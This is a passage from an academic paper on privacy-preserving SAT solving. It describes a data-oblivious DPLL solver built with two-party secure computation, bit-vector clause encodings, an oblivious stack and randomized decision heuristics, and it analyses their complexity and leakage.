solver must somehow obfuscate the structure of these trees,
which requires hiding when guesses and backtracking occur.

Our approach to this challenge is to use a pair of binary
matrices (P, N) to encode the formula. In Appendix B we
also briefly present a specialized approach for when every
clause in φ has far fewer than n variables. In general we
only ever access individual columns (i.e., clauses) of these
matrices in isolation, and so often describe them as vectors of

vectors instead of as matrices. When Pi j = Pj[i] = 1 variable
vi appears in the j-th clause, while Ni j = N j[i] = 1 indicates
¬vi does; the j-th column vectors in P and N together encode
the j-th clause.

We also use a pair of binary vectors (ind+, ind−) to en-
code literals: vi is encoded as (ei, 0n), and ¬vi by (0n, ei).
Negation of a literal is done by just swapping (ind+, ind−)
into (ind−, ind+). This representation enables oblivious check-
ing of the inclusion of a literal in a clause through a linear-
time cascade. We also use the same two-vector encoding for
variable assignments. Simplifying clauses is performed by
updating P and N according to a comparison with an assign-
ment a = (ind+, ind−). Finally, we adopt an oblivious stack
for guessing and backtracking, in order to hide the search tree.

Heuristics for Guessing. Designing oblivious variants of
DPLL subroutines often requires no more than one-to-one
translation using techniques such as linear scans and oblivious
data structures. However, certain components require more
craft and care, most especially the decision heuristics. DPLL
searches the space of variable assignments by (i) taking forced
choices when possible, (ii) using heuristics to guide unforced
choices, and then (iii) unwinding these choices to backtrack
when necessary. Much of the unreasonable effectiveness of
modern SAT solvers stems from intelligent heuristics [20].
However, these heuristics often rely on data accesses or arith-
metic computations that are expensive or impractical in 2PC.
For example, a classic heuristic is to just randomly assign
a randomly chosen variable that does not yet have a valua-
tion [13]. With constant-time lookups and assignments this is
easy, as the set of unassigned literals can efficiently be tracked
and randomly sampled from by the SAT solver. However, even
this simple heuristic is hard to realize within a ppSAT solver.
Nonetheless, we design and implement this and one other
randomized guessing heuristic, along with a further determin-
istic one. Though basic they provide a sound foundation. In
§4.3 we discuss potential ways to integrate more powerful
heuristics, such as conflict-driven clause learning (CDCL)
[49, 55], an essential component of modern solvers which
preemptively closes off impossible paths to drastically reduce
the effective size of the search tree.

Our deterministic heuristic simply picks the literal with the
greatest frequency, which is straightforward to realize with
our matrix encoding by counting and comparing. As for ran-
domized heuristics, they require sampling from a distribution
dependent on the formula which must be kept secret. We
design a private and efficient method for sampling `∗ ←D
{`1, · · · , `k} for any distribution D that can be expressed as
a list of integers {w1, . . . ,wk} such that Pr[`∗ = `i] =

wi
∑ j w j

,
which is closely related to prior work in the literature [9].
Using this technique we can instantiate a randomized heuris-
tic that selects an unassigned literal with, e.g., probability
uniform or proportional to its frequency.

Leakage vs. Efficiency. Recall that our natural security re-
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quirement is that Pb learns nothing more about φ1−b than is
implied by s, φb, |φ1−b|, (when input) φpub, and (when output)
M . However, if formalized such a definition would be slightly
too strong to be practical. To prevent information leakage
from the runtime of the ppSAT solver, meeting this guarantee
would require it to always run in time T (λ, n, m) for security
parameter λ and deterministic function T . Since all known
SAT decision procedures have worst-case runtime bounds
O(g(n)) for g(n)> (1+ k)n for constant k > 0 [7], complete-
ness would require T be exponential in its inputs. This behav-
ior would both (i) be impractical for all but very small n; and
(ii) likely conflict with assumptions underlying the security
arguments for the 2PC primitives we need [38, 61].

As such we will sacrifice completeness. Instead, we as-
sume the parties agree on some polynomial T̃ (x, y, z) and set
T̃ (λ, n, m) = τλ,n,m as the upper-bound on the runtime of the
solver, based, e.g., on an economic or social analysis of the
value of solving the instance for that concrete cost. This poly-
nomial upper-bound mitigates our concern about the security
of our underlying cryptographic primitives. The parties can
then agree to either (i) run for τλ,n,m steps always, aborting if
that is insufficient to resolve the instance, or (ii) to terminate
upon resolution at time τ≤ τλ,n,m, with an accordant risk of
information leakage.

This tradeoff between the most efficient possible execution
of the ppSAT solver and the greatest possible privacy must
be jointly agreed upon by the Pb. We will generally focus on
the case of (ii), and discuss how techniques from differential
privacy (DP) [17, 18] may be used to add calibrated noise
to reduce the informational content of this leakage without
overly extending the runtime of the solver. We formalize
security definitions for (i) and (ii) without differential privacy
in §3 and Appendix A, and the latter with DP in Appendix D.
All three of these guarantees are weaker than the natural
security definition, since the adversary can learn additional
information in the form of one of (i) τ, (ii) τ with added
noise, or (iii) that τλ,n,m steps were insufficient to resolve the
instance.

2 Preliminaries

2.1 Overview of DPLL
To illustrate how the DPLL procedure works we walk through
its execution on an example. Consider the following Boolean
formula with four variables φ(0)≡ (v1∨v2)∧(v2∨¬v3∨v4)∧
(¬v1∨¬v2)∧ (¬v1∨¬v3∨¬v4)∧ (v1). The procedure itera-
tively builds a model for the formula by repeating a sequence
of steps. As the input formula is in CNF its model must be a
model for (i.e., satisfy) each of its clauses.

We start with the empty model, M = ∅. The first step,
UNITSEARCH, searches for a unit clause: a clause consisting
of a single literal. Assigning a truth value which makes that
literal true is the only way to find a model for the formula.
In our example the only unit clause is (v1), the last clause.

We add its satisfying assignment to the model: M = {v1 =
1}. This model is not only a model for that last clause, but
for the first clause as well; it is a model for every clause
where v1 appears as a positive literal. This observation is the
basis for the PROPAGATION step, which is run every time a
new element is added to the model. The PROPAGATION step
removes that element from the formula: all clauses where v1
appears positively are removed, while in the remaining clauses
we can safely remove the negated v1 variable as ¬v1 evaluates
to false under M , and false is a neutral element in disjunctions.
In our particular example it means that we are left with the
formula φ(1) ≡ (v2∨¬v3∨ v4)∧ (¬v2)∧ (¬v3∨¬v4).

The procedure now again executes the UNITSEARCH step,
finding the unit clause (¬v2). In general, after every UNIT-
SEARCH step which finds a unit clause `, the procedure exe-
cutes the CHECK step, which checks that ¬` is not also a unit
clause. The CHECK step does not find any such conflict here,
so we add ¬v2 to the model: M = {v1 = 1,v2 = 0}.

After the PROPAGATION step we are left with two clauses:
φ(2) ≡ (¬v3 ∨ v4)∧ (¬v3 ∨¬v4), and running UNITSEARCH
does not find a unit clause. When this occurs we pick a vari-
able, guess its value, and then add that to the model. This
is a DECISION step. For example, we can add v3 = 1 to the
model: M = {v1 = 1,v2 = 0,vd

3 = 1}. Note that v3 is anno-
tated with d, indicating that it is a decision variable. Its value
was guessed and not inferred. We then run the PROPAGATION
step, which results in a new formula φ(3) ≡ (v4)∧ (¬v4).

We again run the UNITSEARCH step on φ(3): now (v4) is a
unit clause. However, running the CHECK step will find that
(¬v4) is also a unit clause. Therefore we need to backtrack.
Backtracking is possible only when there is a decision literal
in the model. The BACKTRACK step retreats to the point in
the procedure just before the last decision variable was added.
Instead, we add its negation to the model and remove the d
annotation. It is now inferred that the negated value has to be
in the model, otherwise we would derive a contradiction.

Running the BACKTRACK step results in the model M =
{v1 = 1,v2 = 0,v3 = 0}. We apply PROPAGATION on φ(2)

and the resulting formula is empty, i.e., M is a model for
all clauses in the original formula, which means that φ(0) is
satisfiable and M is its model. Note that v4 can have any
value. When the CHECK step finds a contradiction and no
prior guesses can be undone, DPLL terminates and reports
that the original input formula is unsatisfiable.

2.2 Cryptographic Preliminaries
Basic Primitives. We use standard techniques for 2PC,
wherein P0 and P1 employ binary garbled circuits (GC) built
from oblivious transfer (OT) and encryption primitives to
jointly compute the sequence of functionalities which make
up our ppSAT solver. Our design guarantees the order of these
functionalities is fixed (up to the length of the execution), and
that the access patterns over all intermediary values are data-
oblivious, i.e., either fixed or randomized independently of
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the private protocol inputs (up to their length). Those interme-
diary values are then stored at rest distributed between the Pb
with information-theoretic security. At the end of the protocol,
the final outputs are revealed to both parties.
Oblivious Stack. An oblivious stack data structure allows
for conditional operations, which take a secret Boolean value
that dictates whether the operation is actually performed or
simulated through a dummy execution [61]. We will rely on
the following operations, where ⊥ and ⊥′ are arbitrary but
distinguishable special symbols:

• ObStack← stack() : initialize an oblivious stack;

• (·)← ObStack.CondPush(b, x) : (conditionally) push ele-
ment x to the oblivious stack if b = 1, else skip.

• (x)← ObStack.CondPop(b) : (conditionally) pop and re-
turn the top element x if b = 1, else return ⊥. If b = 1 and
the stack is empty, fail and output ⊥′.

3 Overview
As noted, a complete ppSAT solver can run for exponential
time, which violates standard 2PC security definitions. In
this section we formulate a definition for which meaningful
security is practically achievable. We then give a high-level
overview of our solver, before presenting it in detail in §4.

3.1 Formalizing ppSAT Security
A ppSAT solver is a two-party secure computation (2PC)
protocol executed by P0 and P1. We operate in the semi-honest
model, i.e., we consider an adversarial Pb which attempts to
learn private information about φ1−b, but does not otherwise
deviate from the protocol. We formalize security under the
simulation paradigm [10]. The view of party Pb is an object
containing all information known to it at the conclusion of a
protocol Π: its private and the public inputs, every random
coin flip it samples, every message it receives from P1−b, every
intermediary value it computes, and the output. We consider
the protocol secure if there exists a simulator Sim1−b such
that no efficient algorithm A can distinguish between the view
of Pb when interacting with Sim1−b in an ideal world vs. with
P1−b in the real world. The simulator is given only (i) the
private inputs of Pb, (ii) the public inputs, and (iii) the output
of the protocol. Since the view of Pb in the ideal world cannot
directly contain any information about φ1−b by definition, this
indistinguishability implies an adversarial Pb cannot learn
more about it than what is implied by the output in the real
world either.

However, standard computational security definitions for
simulation are not blindly applicable to ppSAT solving as they
require all parties run in probabilistic-polynomial time (PPT),
while a complete solver may require exponential time with
non-negligible probability. As such, to retain these definitions
we choose to yield completeness for our solver and force poly-
nomial runtimes, at the further cost of information leakage. In

Appendix A we rigorously formalize four different variants
of a simulation-based security definition for ppSAT solving.
Each requires some leakage, but how much depends on (i)
whether the running time is leaked to allow early termination;
and (ii) whether a model is output. We will primarily focus
on a two-party-exact-time-revealing solver (2p-etr-solver),
which reveals only (i) and so is the most efficient and concise
formulation. We also discuss a further modification of the
definition permitting the use of differential privacy to hide
some of the information leakage in Appendix D.

3.2 Oblivious DPLL
Our ppSAT solver consists of a sequence of giant steps im-
plementing an oblivious variant of the DPLL procedure. For
concision we walk through solving without M , and briefly
discuss its addition at the end. At initialization the solver sets
φ(0)← φ and a(0)←⊥, where the latter is a “dummy value”
encoded as a pair (0n, 0n). As shown in Figure 1, the t-th
giant step takes as input a formula φ(t−1) and an assignment
a(t−1). Each giant step either returns SAT/UNSAT or outputs
an updated formula φ(t) and a single assignment a(t) for the
next giant step to consume.

A giant step sequentially executes oblivious variants of
the five core small step algorithms of the DPLL procedure:
UNITSEARCH, DECISION, CHECK, BACKTRACK, and PROP-
AGATION. First, UNITSEARCH and then DECISION output
an assignment, a(t)unit and a(t)dec respectively. The UNITSEARCH

routine scans φ(t−1) and (when one exists) finds a unit clause.
If such a clause is found then a(t)unit encodes its single literal as
an assignment, otherwise it encodes the dummy value ⊥. The
DECISION routine invokes a chosen heuristic (usually, but not
necessarily, fixed for the entire execution) and obtains a(t)dec as
a guess. If a(t−1) = a(t)unit =⊥ then (φ(t−1), a(t)dec) is pushed onto
the oblivious stack. Otherwise a dummy push operation is per-
formed. The multiplexer Mux0 then selects a non-dummy as-
signment according to the priority a(t−1) > a(t)unit > a(t)dec. Note
that a(t)dec 6=⊥ always. The selected assignment, denoted a(t)sel,
and φ(t−1) are then taken by the CHECK routine as input.

This routine is the only possible point when the procedure
can terminate and return SAT/UNSAT. For the moment we
assume the procedure terminates immediately when possible,
and discuss alternative behaviors later. A CNF formula con-
flicts with an assignment if it leads to an unsatisfiable clause.
For input φ(t−1) and assignment a(t)sel there are four possible
cases for CHECK, PROPAGATION, and BACKTRACK:

1. The CHECK subroutine finds that φ(t−1) is satisfied and
returns SAT.

2. The CHECK subroutine finds that φ(t−1) conflicts with a(t)sel
and the stack is empty, and so returns UNSAT.

3. No conflict occurs, so CHECK passes φ(t−1) and a(t)sel to
the PROPAGATION and BACKTRACK routines. The PROP-
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Figure 1: The structure of a giant step and its role in our ppSAT
solver, demonstrating the high-level design given in §3. Dashed
arrows indicate potential dummy return values.

AGATION routine simplifies φ(t−1) to φprop by eliminating
both clauses which have been satisfied by a(t)sel and literals
¬a(t)sel. The Mux1 multiplexer will then set φ(t)← φprop and
a(t)←⊥ as the output of the giant step. The BACKTRACK
routine will execute a dummy pop operation.

4. A conflict occurs and the stack is not empty. The BACK-
TRACK routine pops a formula φback = φ(t

′) for some
t ′ < t− 1 and its associated aback from the stack. It then
sets aback by swapping ind− and ind+ from aback. The Mux1
multiplexer will then select φ(t)← φback and a(t)← aback

as the output of the giant step. The output of the PROPA-
GATION routine will be ignored.

When the model M is desired as output this design is easily
modified to continually update its state during the PROPAGA-
TION routine, as well as save that state within and retrieve it
from the stack during backtracking.

4 A ppSAT Solver
In this section we formalize the algorithm sketched in §3 as
the basis for our ppSAT solver protocol. We begin by defining
a pair of abstract data structures for a formula φ and its con-
stituent clauses, and then describe an instantiation of these ob-
jects and their operations using bit-vectors. These operations
are all data-oblivious and include most of the functionalities
that will be computed using garbled circuits when the overall
design is raised into a secure computation protocol. Finally,
we describe how our ppSAT solver is structured as a data-
oblivious sequence of these operations. For concision and
clarity we sometimes describe the solver with data-dependent

branching, but all conditions are simple checks of Boolean
variables which can be merged into the operations they guard.

4.1 Data Structures for CNF Formulas
Let β be an integer and L = {`1, . . . , `2n} be a set of literals. A
clause is a subset C⊆ L for which |C| ≤ β and no two distinct
literals reference the same underlying variable – implying
that β≤ n is the maximum clause length in φ. This parameter
allows us to design different instantiations for when it is public
knowledge that β≈ n, as opposed to when, e.g., β� n. We
require three operations over clauses:

• C.unit(): returns a bit indicating whether |C|= 1.

• C.contain(`): returns a bit indicating whether ` ∈C.

• C.remove(a): updates C to C \{a} in place.

A formula φ is composed of a set of clauses {C1, · · · ,Cm}, for
which we also need two operations:

• φ.empty() : returns a bit indicating whether φ =∅.

• φ.remove(C j) : updates φ to φ\{C j} in place.

Instantiating these abstract data structures for a given β re-
quires both state encodings and supporting these methods.

Instantiating the ADS for β ≈ n. Recall that ei is the unit
vector where ei[i] = 1 and ei[ j] = 0 for all j 6= i. A literal `
is represented by the pairing of a unit vector and zero vec-
tor (ind+, ind−). A positive variable vi is encoded as (ei, 0n),
while its negation ¬vi is encoded as (0n, ei). A dummy as-
signment ⊥ is represented by (0n, 0n). The representation of
variables cooperates with the encoding of clauses (see next
paragraph) so that operations over them can be implemented
using only linear scans.

A clause C j ∈ φ is represented by an integer nL and the pair
of vectors (Pj, N j) such that

(Pj[i], N j[i]) =


(1,0) if vi appears in C j

(0,1) if ¬vi appears in C j

(0,0) o.w.

The integer nL is used to track the number of literals in the
clause. The implementation of the three clausal operations are
given in Algorithm 1. Determining whether C j is a unit clause
can be implemented by checking whether nL = 1. To imple-
ment contain we use that the structure of the clause and literal
vectors provides that `= v∈C j iff

n∨
i=1

(Pj[i]∧ ind+[i]) = 1 and

similarly for ` = ¬v using N j and ind−. To remove a literal
vi (resp. ¬vi) from C j due to an assignment requires setting
Pj[i] = 0 (resp. N j[i] = 0) and deducting from nL. Given the
indicating assignment a, the former is the same as updating
Pj[i]← Pj[i]∧ (Pj[i]⊕ ind+[i]) for each i ∈ [n], and similarly
over N j and ind−.
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Algorithm 1: Clausal Algorithms when β≈ n

1 Function C j.unit():
2 return (nL = 1)
3 Function C j.contain(`= (ind+, ind−)):
4 b← 0
5 for i← 1 to n do
6 b← b∨ (Pj[i]∧ ind+[i])∨ (N j[i]∧ ind−[i])
7 return b
8 Function C j.remove(a = (ind+, ind−)):
9 if C j.contain (a) then

10 nL← nL−1
11 for i ∈ [n] do
12 Pj[i]← Pj[i]∧ (Pj[i]⊕ ind+[i])
13 N j[i]← N j[i]∧ (N j[i]⊕ ind−[i])

A formula φ is encoded as matrices (P, N) where the
jth column of P is Pj and of N is N j, as well as a vector
isAlive ∈ {0, 1}m whose jth entry indicates whether C j has
been removed from the formula. The φ.remove(C) function-
ality can be implemented by setting isAlive[ j] = 0 during a
linear scan, while φ.empty() by checking whether isAlive = 0n.
We omit their formal descriptions due to their simplicity.

Alternate Approaches. We primarily focus on the above ap-
proach, as it is a generic solution applicable to every possible
ppSAT instance. We also consider an alternate instantiation
for when the maximum number of literals in a clause is much
smaller than n (i.e., β� n) in Appendix B.

Operations on clauses can in theory be instantiated via
RAM-model secure computation [21], which requires running
an ORAM client algorithm in MPC. This could potentially
reduce the asymptotic cost of the ADS operations to O(log2 n)
from O(n).3 We can empirically compare our bit-vector based
solution with the most practically efficient ORAM secure
computation [16]. To read or write a bit from a n-bit vector
the linear scan circuit contains exactly 2n− 1 AND gates.
As a result, the crossover point (conservatively) occurs when
n≈ 217, where our circuit takes about 0.13s and the ORAM-
based solution takes about 0.2s.

4.2 Data-Oblivious ppSAT Solving
Algorithm 2 formally presents the algorithmic structure of
our ppSAT solver. We only provide a full description of our
2p-etr-solver for brevity, which can be extended to support
M as described in §3, and raised into a secure 2PC protocol
using the standard techniques referenced in §2. Finally, we

3Note that although the best ORAM [1] can incur only a O(logn) overhead,
that requires an underlying data block of at least logn bits. In our case, each
data block is a single bit and thus the best available requires O(log2 n). We
are not aware of any ORAM designed specifically for bit accesses, which
may be a promising line of future work to increase its efficacy in this and
other secure computations over bit-vectors.

abuse notation by considering τ and τλ,n,m to track and up-
per bound respectively the number of giant steps. Their true
values are some constant factor (representing the number of
computational steps within a giant step) of how we use them
algorithmically.

Every giant step (Lines 13-24 and 3-12 across two loop
iterations) starts with a formula φ and an assignment a, and
either passes a new formula and assignment to the next giant
step or terminates. The flag bconflict indicates a conflict; when
one (and therefore backtracking) occurred in the prior giant
step then bconflict = 1.

The solver first executes UNITSEARCH, sets bunit to indi-
cate its success, and if successful returns the unit literal as
an assignment aunit. Then the solver invokes the heuristic
in DECISION and receives a branching assignment adec. If
bconflict = 1 the negation of aback and φdec from the previous
giant step are taken as the input of CHECK (Lines 21-23 and
4). Otherwise, either the output of UNITSEARCH or the output
of DECISION will be used depending on bunit (Lines 16-19
and 4).

The CHECK routine resolves the application of assignment
a to φ. There are three possibilities, each corresponding to a
value of σ:

1. σ = 0: φ is satisfied after applying a. Then CHECK termi-
nates the procedure and outputs SAT (Line 6);

2. σ = 1: φ contains a unit clause with the negation of a
(Line 7). The solver then pops the top element (if any) off
the stack (Line 8). If the stack is empty the solver will
terminate and output UNSAT (Lines 9-10). Otherwise,
bconflict is set to 1 and the solver backtracks, ultimately
recovering the assignment aback and formula φback for
the next giant step. The result of PROPAGATION will be
ignored; or

3. σ = 2: the formula is neither SAT nor in conflict after
applying a. The PROPAGATION routine simplifies φ to
φprop using a and passes the simplified formula to the next
giant step (Line 12).

The behavior of BACKTRACK is directly integrated into Al-
gorithm 2, while DECISION is the focus of §4.3. Next, we
describe the remaining UNITSEARCH, CHECK, and PROPA-
GATION routes in detail – due to space constraints we give
their formal definitions in Appendix C.

UNITSEARCH (Algorithm 8): The UNITSEARCH routine finds
a unit clause in the current formula φ when one exists, and
outputs a bit b and an assignment a. If no unit clause exists in
φ then b = 0, else b = 1 and a corresponds to its single literal.
To find the encoding of that literal to set a, we need to locate
the clause C j such that C j.unit() = 1. We achieve this through
a linear scan of all the clauses, setting b← 1 and a←C j once
we find a suitable output (Lines 2-5).4

4We slightly abuse notation here for readability, as not all instantiations
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CHECK (Algorithm 9): The CHECK routine determines
whether formula φ is SAT, and if not whether the assignment
a causes a conflict or whether the resultant φ remains viable
but unproven. It returns σ ∈ {0, 1, 2}. The three cases are (i)
σ = 0, indicating that φ is satisfied; (ii) σ = 1, indicating that
φ conflicts with a; and (iii) σ = 2, otherwise. The routine uses
Boolean variables b0 and b1 to track if φ is SAT or conflicts
with a respectively. The φ.empty operation resolves b0 (Line
1). A clause conflicts with a if it only contains ¬a. The rou-
tine scans over all clauses, and sets b1← 1 if any is unit and
conflicts with the assignment (Lines 3-5). If neither b0 nor b1
is set to 1, the routine returns 2 to indicate that φ is still viable
under a.

PROPAGATION (Algorithm 10): The PROPAGATION routine
simplifies φ by eliminating clauses containing a literal ` with
identical indicators to the assignment a. Additionally, ¬` is
removed from any clause containing it. So, during propagation
there are three types of clauses C ∈ φ, those for which: (i)
¬a= `∈C, in which case C.remove(¬a) is executed (Line 7);
(ii) a = ` ∈C, so C is satisfied and φ.remove(C) is therefore
invoked (Line 5); or (iii) clause C contains neither `= a nor
`= ¬a, and so is left unchanged.

4.3 ppSAT Decision Heuristics
The final component of our solver is the DECISION routine,
which is not a single functionality but rather a family of possi-
ble procedures for guessing a variable assignment. Designing
such techniques is historically a very rich area of SAT re-
search [7, 20, 46], though many of these constructions are not
naturally implementable through oblivious computation and
2PC primitives. For this initial work we focus on three heuris-
tics: (i) the deterministic dynamic largest independent sum
(DLIS) heuristic, where we choose the most common literal as
the assignment, (ii) the randomized (RAND) heuristic where
we make a uniform choice over both variable and assignment,
and (iii) a weighted randomized heuristic (Weighted-RAND),
where the choice of literal is weighted by frequency. These
are all relatively simple but still useful, and implementing
their many variants along with more complex heuristics is a
promising avenue for future work which we discuss at the end
of the section.

Note that for brevity we do not provide the full DECISION
routine. Each heuristic either returns the assignment a itself or
a tuple d = (i, b) encoding that the DECISION routine should
construct an assignment by setting vi = b in the form needed
for the given ADS instantiation.
DLIS. The DLIS heuristic selects the most commonly ap-
pearing literal and returns the assignment that makes it true.
Our formulation of it as Algorithm 3 undertakes a linear
scan over every C j ∈ φ for every vi ∈V . The heuristic calcu-
lates the frequency of vi and ¬vi as ∑

m
j=1 C j.contain(vi) and

may have unit clause representations which can be used immediately as
an assignment. The procedure can be generalized in practice by extending
C j.unit() to return the literal when it is true.

Algorithm 2: 2p-etr ppSAT Solver
Input: φ, n, m, τλ,n,m
Output: SAT/UNSAT

1 ObStack← stack(); τ← 0; a←⊥; bconflict← 0;
2 while τ≤ τλ,n,m do
3 if τ 6= 0 then
4 σ← Check(φ, a);
5 if σ = 0 then
6 return SAT
7 bconflict← (σ = 1);
8 e← ObStack.pop(bconflict);
9 if e←⊥′ then

10 return UNSAT
11 aback, φback← e;
12 φprop← Propagation(φ, a);
13 (bunit, aunit)← UnitSearch(φprop) ;
14 adec← Decision(φprop);
15 ObStack.CondPush(¬bunit∧¬bconflict,(adec,φprop));
16 if bunit = 0 then
17 a← adec;
18 else
19 a← aunit;
20 φ← φprop;
21 if bconflict = 1 then
22 a←¬aback;
23 φ← φback;
24 τ = τ+1;

Algorithm 3: DLIS Heuristic
Input: L = {`1, . . . , `2n},C = {C1, . . . ,Cm}
Output: d ∈ [1..n]×{0, 1}

1 max← 0; d← (⊥,⊥);
2 for i← 1 to n do
3 sP← 0, sN ← 0;
4 for j← 1 to m do
5 sP = sP +C j.contain(`i);
6 sN = sN +C j.contain(¬`i);
7 if sN ≥ max then
8 d← (i, 0); max← sN ;
9 if sP ≥ max then

10 d← (i, 1); max← sP;
11 return d;

∑
m
j=1 C j.contain(¬vi) respectively. It then determines whether

either of vi or ¬vi is the most frequent literal seen so far, and if
so sets d as necessary to encode it. After iterating over all the
variables d encodes the most frequent literal and is returned.

RAND. Let the binary vector Û ∈ {0, 1}n indicate whether
the i-th variable in V has been assigned. The RAND heuristic
guesses a variable assignment by uniformly selecting a ran-
dom unassigned variable and setting it to a bit also chosen
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Algorithm 4: Random Value Sampler internal (RVSi)

Input: Q ∈ N, r′0 ∈ {0, 1}l , r′1 ∈ {0, 1}l

Output: r ∈ {0, 1}l

1 b← 0; Q′← 0l ;
2 for i ∈ {l−1, . . . , 0} do
3 if Q[i] 6= 0∨b = 1 then
4 Q′[i]← 1; b← 1;
5 r′← r′0⊕ r′1;
6 r← ∑i∈[l] r′[i] · (Q′[i] ·2i);
7 return r;

uniformly at random. Since Û is derived from φ as well as
prior assignments, the computation in this procedure must be
data-oblivious and amenable to efficient realization by secure
computation primitives. At the core of our design is Algo-
rithm 4, which with probability p1 ≥ 1/2 obliviously selects
a secret r ∈ [Q] for private Q ∈ N.

We assume that Q is encoded as a binary string of length
l ∈ N. This is the natural encoding for binary garbled circuits,
but may not be for other 2PC primitives. We let h ∈ N be
one greater than the index (from zero) of the most significant
non-zero bit in Q, e.g., h = 4 for l = 6 and Q = 9 = 001001.
The construction builds a multiplexer which maps an integer
x′ ∈ [2l ] to x ∈ [2h] by keeping the lower h bits unchanged
while setting the upper l−h bits to zero. It then applies this
multiplexer to a random binary string r′ ∈ {0, 1}l , generating
r ∈ {0, 1}l to be interpreted as an integer upon return. To
sample r′ within 2PC we define it as r′ = r′0⊕ r′1, where r′b is
privately sampled by Pb.

Notice that r < Q with some probability p1 ≥ 1/2, as it
is guaranteed when r′[l−h] = 0. The parties can repeat Al-
gorithm 4 for sufficient κ ∈ N so that the probability every
returned r lies outside [Q], or p2 ≤ 2−κ, is suitably negligible.
A reasonably small constant such as κ = 32 suffices. A wrap-
per function RVS(), which we otherwise omit, can make these
repeated invocations of RVSi() and then undertake a linear
scan over the outputs to finally return, e.g., the last which lies
within the desired range.

Our construction to uniformly select an unassigned variable
is Algorithm 5. It linearly scans Û and counts the number of
unassigned variables, before invoking Algorithm 4 to get a
random index k. It then selects the k-th unassigned variable
through another scan of Û , and assigns to it a random b =
b0⊕b1, where bb is sampled and provided by Pb.
Weighted-RAND. Let L = {`1, . . . , `2n} be a set of literals
and D a distribution over L expressed as set of positive inte-
gers W = {w1, . . . , w2n} such that for all i ∈ [1..2n]

Pr(`i) =
wi

SW
, for SW =

2n

∑
j=1

w j.

For our decision heuristic wi will be the frequency count of the
i-th literal. We design an oblivious algorithm that randomly

Algorithm 5: Uniform Random Selection

Input: Û ∈ {0, 1}n, r′0, r′1 ∈ {0, 1}l , b0, b1 ∈ {0, 1}
Output: d ∈ [1..n]×{0, 1}

1 c← 0; d← (⊥,⊥);
2 for i← 1 to n do
3 c← c+Û [i];
4 k←RVS(c, r′0, r′1);
5 for i← 1 to n do
6 k← k−Û [i];
7 if k = 0 then
8 d← (i, b0⊕b1);
9 return d;

Algorithm 6: Weighted Random Selection

Input: W ∈ Z2n
≥0, L = {`1, . . . , `2n}, r′0, r′1 ∈ {0, 1}l

Output: a = (ind+, ind−)
1 c← 0;
2 for i← 1 to 2n do
3 c = c+wi;
4 k←RVS(c, r′0, r′1);
5 for i← 1 to 2n do
6 if 0 < k < wi then
7 a← `i;
8 k← k−wi;
9 return a;

samples an element of L according to W in Algorithm 6. First
we compute c = w1 + · · ·+w2n. Then, using Algorithm 4
an integer k is sampled from [c]. Let F(`i) = ∑

i
j=1 w j. The

algorithm finds `i such that F(`i−1) < k ≤ F(`i) through a
linear scan, which is then returned as the assignment. The
intuition behind the correctness of the algorithm is that for
any random variable Y , a sample value can be generated by
drawing a random r ∈ [0, 1] and then finding its preimage on
the cdf of Y .
CDCL. Perhaps the most important development in SAT
solving since DPLL itself is conflict-driven clause learning
(CDCL) [20, 49, 55]. The essential idea of CDCL is that
whenever a conflict is found it is possible to resolve a self-
contained subset of the assignments which triggered the con-
flict. For example, the CDCL learning procedure might learn
that x1 = 1, x12 = 0, x27 = 1 is impossible for any model.
So, by creating a new clause made out of their negation, i.e.,
(¬x1 ∨ x12 ∨¬x27) and adding it to φ, any branches of the
search tree which would try that impossible combination are
cut off immediately. This dramatically reduces the size of the
space which the solver explores while retaining soundness and
completeness. CDCL is particularly essential for efficiently
resolving UNSAT instances, which require establishing a uni-
versal (all models do not satisfy), rather than existential (there
exists a satisfying model), proposition over the search tree.
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For ppSAT solving to reach its potential will almost cer-
tainly require supporting CDCL. However, this is a challeng-
ing task. As an immediate issue, CDCL only learns clauses
when backtracking happens. Continuing to hide those oc-
currences would require a deterministic schedule for adding
clauses. Though a simple approach is to add one clause per
giant step while padding out with tautologies, every increase
to the size of the formula makes every ensuing giant step
more expensive. An alternative approach might be to add
clauses less frequently, perhaps keeping the largest learned
in the interim and discarding the rest. Exploring this frontier
will be critical to use of CDCL within a ppSAT solver.

Additionally, the CDCL learning process itself would need
to be made oblivious. Usually it is understood as the building
of an implication graph for which a suitable (and not necessar-
ily minimal) cut produces the assignments to negate. Though
this process may be rendered as a sequence of resolution op-
erations potentially amenable to oblivious formulation [7],
doing so without undue overhead may require care.

4.4 Complexity
The overall circuit complexity of our protocol is O(S×C),
where S is the total number of giant steps and C is the cost of
each one. The round complexity of our protocol is O(S), as
every giant step is a constant-round 2PC of a single circuit.
The value of S depends on τλ,n,m, on the number of steps
necessary to resolve φ, and on whether an exact-time, time-
bound, or noisy-time (Appendix D) solver is used.

Our value for C is O(mn + n logn), though it may vary
based on the details of the ADS instantiation and the heuris-
tics. The circuit complexities of UNITSEARCH, CHECK, and
PROPAGATION are each O(mn), while that of BACKTRACK
is O(mn + n logn) with the logarithmic term arising from
the oblivious stack [61]. UNITSEARCH, CHECK, and PROP-
AGATION each require O(1) linear scans over the m clauses;
during each scan the procedures apply the various ADS oper-
ations, each of which require O(1) or O(n) time in our β≈ n
instantiation. BACKTRACK consists of a pop operation from
the oblivious stack of a (partial) model represented in O(n)
bits, taking O(n logn) time, followed by the application of
that model to recover the formula state in time O(mn). Finally,
DECISION has complexity O(H+n logn), where H is the com-
plexity of the chosen heuristic and n logn is the complexity
of the oblivious stack push operation. The DLIS and RAND
heuristics have H = O(mn). The complexity of Weighted-
RAND also requires H = O(mn) so long as the weight of a
literal is its frequency in the formula. Other heuristics could
have worse (or better) asymptotic cost.

As discussed in §4.1, a RAM-based secure computation
solution would reduce the cost of accessing n bits from O(n)
to O(log2 n). This would, e.g., reduce the cost of ADS opera-
tions where we must touch a given literal at every clause, such
as C.contain(`), from O(mn) to O(m log2 n). With sufficient
refining of the data structures, heuristics, and composition of

the subroutines these improvements may improve the asymp-
totic runtime of C in total. However, as noted we can project
the protocol efficiency would not be concretely superior at
present until at least n≥ 217 [16], with the true crossover de-
pending in part on network conditions as ORAM also requires
logarithmic, instead of constant, rounds. We leave the poten-
tial of ORAM to future work once algorithm enhancements,
like CDCL, make it relevant.

4.5 Obliviousness and Security
At its core our solver raises DPLL into a secure computation
using oblivious algorithms and supporting data structures.
For the general purpose ADS instantiation (when β≈ n), our
fundamental design choices were to represent both literals
and clauses as binary vectors and to manage the decision tree
with an oblivious stack to permit backtracking [61]. Using
these data structures, the standard DPLL subroutines (such
as PROPAGATION or BACKTRACK) can be implemented with
linear scans over vectors of fixed public size, oblivious multi-
plexing of vectors, and push and pop of vectors to and from
